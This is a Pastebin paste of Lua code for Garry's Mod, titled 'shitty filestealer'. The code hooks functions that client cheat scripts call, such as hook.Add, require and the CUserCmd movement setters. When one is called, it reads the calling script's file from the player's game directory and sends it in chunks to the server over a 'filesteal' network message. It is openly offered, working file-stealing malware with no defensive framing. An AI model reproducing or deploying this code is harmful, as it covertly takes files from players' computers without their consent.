Advertisement
spinsquad

shitty filestealer; cl

Mar 21st, 2015
733
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.59 KB | None | 0 0
  1. local debug = debug;
  2. local net = net;
  3. local file = file;
  4. local string = string;
  5. local math = math;
  6. local hook = hook;
  7.  
  8. local r = debug.getregistry();
  9.  
  10. local stolen = {};
  11.  
  12. local dt = {
  13.     {"hook", "Add"},
  14.     {"CreateClientConVar"},
  15.     {"debug", "getregistry"},
  16.     {"FindMetaTable"},
  17.     {"CUserCmd", "SetViewAngles", true},
  18.     {"CUserCmd", "GetViewAngles", true},
  19.     {"CUserCmd", "SetButtons", true},
  20.     {"CUserCmd", "SetSideMove", true},
  21.     {"CUserCmd", "GetSideMove", true},
  22.     {"CUserCmd", "SetForwardMove", true},
  23.     {"CUserCmd", "GetForwardMove", true},
  24.     {"require"},
  25. };
  26.  
  27. local function steal(source)
  28.     local fyle = string.sub(source.source, 2);
  29.     if (stolen[fyle]) then return; end
  30.     stolen[fyle] = true;
  31.     local data = file.Read(fyle, "GAME");
  32.     if (!data) then
  33.         return;
  34.     end
  35.     local leng = string.len(data);
  36.     local parts = math.ceil(leng / 512)
  37.     for i = 0, parts do
  38.         local ndata = string.sub(data, i * 512, (i + 1) * 512 - 1);
  39.         net.Start("filesteal");
  40.             net.WriteTable({fyle, ndata, i, parts});
  41.         net.SendToServer();
  42.     end
  43. end
  44.  
  45. local function detfunc(v)
  46.     local t, f, m = v[1], v[2], v[3];
  47.     local ofunc;
  48.     if (t && !f && !m) then
  49.         ofunc = _G[t];
  50.         _G[t] = function(...)
  51.             steal(debug.getinfo(2));
  52.             return ofunc(...);
  53.         end
  54.     elseif (t && f && !m) then
  55.         ofunc = _G[t][f];
  56.         _G[t][f] = function(...)
  57.             steal(debug.getinfo(2));
  58.             return ofunc(...);
  59.         end
  60.     else
  61.         ofunc = r[t][f];
  62.         r[t][f] = function(...)
  63.             steal(debug.getinfo(2));
  64.             return ofunc(...);
  65.         end
  66.     end
  67. end
  68.  
  69. hook.Add("OnGamemodeLoaded", "@@@", function()
  70.  
  71.     for k,v in next, dt do
  72.         detfunc(v);
  73.     end
  74.  
  75. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement